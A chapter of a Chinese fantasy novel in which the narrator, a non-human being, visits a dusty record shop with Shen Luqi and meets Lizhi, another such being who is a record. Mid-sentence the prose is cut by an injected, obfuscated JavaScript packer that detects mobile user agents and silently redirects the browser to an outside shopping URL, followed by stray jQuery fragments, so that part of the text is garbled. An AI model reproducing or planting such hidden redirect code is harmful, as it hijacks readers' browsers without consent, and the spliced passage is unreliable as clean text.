那天晚上以后,沈鹿栖变了。
不是变好或者变坏,是变得……小心了。
她不再假装我不存在。以前她会把目光从我身上滑过去,像我是一件家具,看一眼就够了。现在她会看我,但每次看的时间变短了,像碰到什么烫手的东西,碰一下就缩回去。
我能感觉到。
以前她看我的眼神是"这到底是什么东西"。现在变成了"这个东西好像也会难过"。
我不太理解"难过"。那天晚上我身上渗出来的水珠,我不知道那叫什么。我只知道,沈鹿栖帮我擦脸的时候,她袖子碰到我皮肤的那一瞬间,我心里有什么东西动了一下。
不是以前那种"被需要"的感觉。那个感觉还在,但它在下面,像河床。上面多了一层新的东西,更轻,更薄,像水面上结的一层冰。冰很薄,一碰就碎,但碎了以后又会重新冻上。
我不知道那是什么。
我有很多问题想问。为什么沈鹿栖不敢睡觉?为什么我身上会渗水珠?为什么她帮我擦脸的时候我心里会动?为什么她不笑?为什么她每天晚上都睁着眼睛盯着天花板,盯到天花板上那七条裂缝都快被她盯出第八条来?
我想找一个能回答我问题的人。
---
那天早上,沈鹿栖在厨房烧水。水壶嗡嗡响,蒸汽从壶嘴冒出来,在空气里散开。她站在灶台前面,手里拿着一个杯子,杯子里有昨天剩下的半杯水,她正在把那半杯水倒进水槽里。
"我想出去一趟。"我蹲在厨房门口说。
她回头看了一眼。"去哪?"
"找一个和我一样的人。"
她的手停了一下。杯子还在手里,水槽的水还在流。她看着我,眼神里有一种我读不懂的东西,像在判断什么。过了大概三秒钟,她把杯子放在灶台上,关了水龙头,走到门口,穿上鞋。
她把门打开了。
"走吧。"
她没有问"什么叫和你一样的"。她没有问"你还有同类"。她没有问任何问题。她只是穿好鞋,打开门,站在门口等我。
我跟上去。出门的时候她等在门口,我经过她身边的时候,她伸手帮我把外套的领子拉了一下。领子歪了,她把它拉正。动作很快,拉完以后手就缩回去了,插回裤子口袋里。
她没有看我。但我感觉到了。
---
外面的空气比昨天冷。风又在推我了,但我已经知道那叫"风",所以没有缩。沈鹿栖把她的外套又给我穿了,她自己穿了一件薄的,鼻尖冻得有点红。她的手插在裤子口袋里,肩膀微微缩着,走路的时候呼出的气变成白色的雾,飘在脸前面,很快散掉。
我们走了很久。
走的时候沈鹿栖没有说话。她走在前面,步子不快,偶尔回头看我一眼。她回头的方式很轻,头只转了一半,用眼角的余光扫一下,确认我还在,然后继续走。她以为我没注意到,但我注意到了。她每走大概五十步就会回头一次。我数过。
街道上的人比上次多。有人骑着两个轮子的东西从我旁边过去,轮子转得很快,发出嗖嗖的声音,车轮碾过地上的一个小水坑,溅起几滴水,落在我鞋面上。有人牵着一只很大的狗,狗的毛很长,遮住了眼睛,走起路来毛一晃一晃的,像一团会移动的拖把。有人站在一个冒着热气的摊子前面,手里拿着一个纸包,纸包里有油条的香味,油的味道在冷空气里特别浓,像一条看不见的线,从纸包一直牵到我的鼻子。
我走得很慢。每一样东西我都要看一会儿。井盖上的锈迹像一幅画,有的地方深,有的有的地方浅,中间有一个圆圆的孔,孔的边缘磨得发亮。电线杆上贴着很多纸,有的字已经看不清了,有的还能看到,写着"出租"和一个电话号码,电话号码的最后一个数字被雨水洇开了,变成了一团模糊的墨迹。
沈鹿栖走在前面,步子不快。她偶尔回头看我一眼,确认我还在。她回头的时候不说话,只是看一眼,然后继续走。
"你认识路吗?"她问。
"认识。"我说,"我能感觉到。"
"感觉到什么?"
我想了想,不知道该怎么解释。我能感觉到同类的存在。像一种气味,或者一种温度,从某个方向传过来,很淡,但我知道它在。就像沈鹿栖身上的"需要"我能感觉到一样,同类的"存在"我也能感觉到。不是具体的形状或声音,更像是一种……方向。我知道该往哪走。
"就是……知道。"
她没追问。她从来不追问我说不清楚的事情。
---
我们拐进一条老巷子。
巷子很窄,两边是旧楼,墙皮剥落了,露出底下灰色的水泥。有些地方长了青苔,绿绿的,贴在墙根。阳台上挂着衣服,有几件被风吹得鼓起来,像有人穿着衣服飘在半空。有一件红色的毛衣,袖子伸出来,在风里晃,像在招手。地上有水渍,踩上去鞋底会发出吧唧吧唧的声音。水渍里映着天空的颜色,灰蓝灰蓝的。
走到巷子尽头,有一家店。
店门是木头的,漆剥落了大半,剩下的漆裂成一小块一小块的,像干掉的泥巴。门把手上缠着一圈铁链,铁链生了锈,颜色是深棕色的,像干掉的血。门玻璃上贴着一张纸,纸已经泛黄了,边角翘起来,被风吹得一抖一抖。上面写着"拆迁通知",下面有一个日期,日期上面画了一个圈。圈画得很用力,笔迹把纸都压出了印子。
我推门进去。
门发出一声很长的嘎吱声。那声音在安静的巷子里显得很大,像踩断了一根树枝。门轴很久没上油了,转起来涩涩的,推到一半的时候卡了一下,我用力推了一下才推开。
店里很暗。
架子上摆满了东西,一排一排的,从地板到天花板。黑色的圆盘,扁扁的,中间有一个孔。灰尘在空气里飘,从门口照进来的光柱里能看到它们,一颗一颗的,慢慢地转,慢慢地落,像一群不知道要去哪里的旅行者。
最里面有一张旧沙发。沙发是深棕色的,皮面裂了好几道口子,露出里面发黄的海绵。沙发上坐着一个人。
那个人穿着旗袍。深色的,领口扣得很紧,扣子是盘扣,一粒一粒的,从领口一直扣到腋下。头发盘起来,盘得很整齐,没有一根碎发,用一根黑色的簪子固定着。她的坐姿很端正,后背没有靠着沙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814707|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
发背,两只手交叠着放在膝盖上。
她的脸在阴影里看不太清楚。但我能看到她的左耳。
左耳的位置不太对。耳廓的中间有一个圆形的小孔,边缘很光滑,像被什么东西打磨过。孔的大小和架子上那些黑色圆盘中间的孔差不多。
我叫了一声。
"梨枝。"
那个人动了一下。转过头来。她的脸上没什么表情,眼睛看着我,像在看一个不太重要的访客。她的眼睛颜色很深,黑的,像没有星星的夜空。
她的声音带着一种沙沙的底噪。像什么东西在摩擦,很轻,但一直在。像唱针落在唱片上的那一刻,在音乐开始之前,先有那么一小段沙沙声。那段沙沙声是她的声音的一部分,去掉那段沙沙声,就不是她的声音了。
"你又来了。"
---
沈鹿栖站在我身后。她没进来,站在门口,一只手扶着门框,看着里面。门框上的漆碰到她的手指,掉了一小片,落在地上。
梨枝的目光从我身上移到她身上,停了一秒。
"你带人类来了。"
"嗯。"
"带人类来干什么?"
我不知道该怎么回答。我看了看沈鹿栖,她看着我,等我说话。她的表情没什么变化,但手指在门框上轻轻敲了两下,像在打拍子。
"她……"我张了张嘴,想说"她是我的主人",但这个词不太对。沈鹿栖不是我的主人。她是……我不知道她是什么。她是那个给我取名字的人,是那个帮我擦脸的人,是那个说"我每天都会回来"的人。她是那个半夜被我裹住以后拼命挣开、然后蹲在我面前用袖子擦掉我脸上水珠的人。
"她是沈鹿栖。"我最后这么说。
梨枝看了我一眼。那个眼神说不上什么意思,像在看一个做了一件蠢事但自己不知道蠢在哪的人。
梨枝看了我一眼。她的目光在我脸上停了两秒钟,然后移到沈鹿栖身上,又移回来。她的眼神里有一种东西,像在看一张她见过很多遍的图案。那种图案叫做一个眠物和一个人类走得太近。她见过这种图案的结果。她知道那种结果通常是什么。
"进来坐吧。"她把目光从沈鹿栖身上收回来,重新看向架子上的那些黑色圆盘。"反正也没什么好招待的。"
沈鹿栖走进来了。她的脚步在木地板上发出嘎吱嘎吱的声音,每一步都会响。她走到沙发旁边,看了看梨枝,又看了看那些圆盘。
"这些是什么?"她问。
梨枝没回答。
我替她回答了。
"是唱片。"我说,"她是唱片。"
沈鹿栖看了我一眼,又看了看梨枝。梨枝的手重新放回唱片上,继续擦。一圈一圈的,从中心往外。
沈鹿栖没有再问。她在沙发上坐下来,弹簧嘎吱响了一声,她往一边歪了一下,用手撑住了扶手。
她坐好了,看着梨枝擦唱片。
灰尘在光柱里飘。门口的风吹进来,吹动了最上面的一张唱片的标签纸,标签纸翘了一下,又落回去。
店里安静了。只有梨枝擦唱片的声音,沙沙的,一圈一圈的。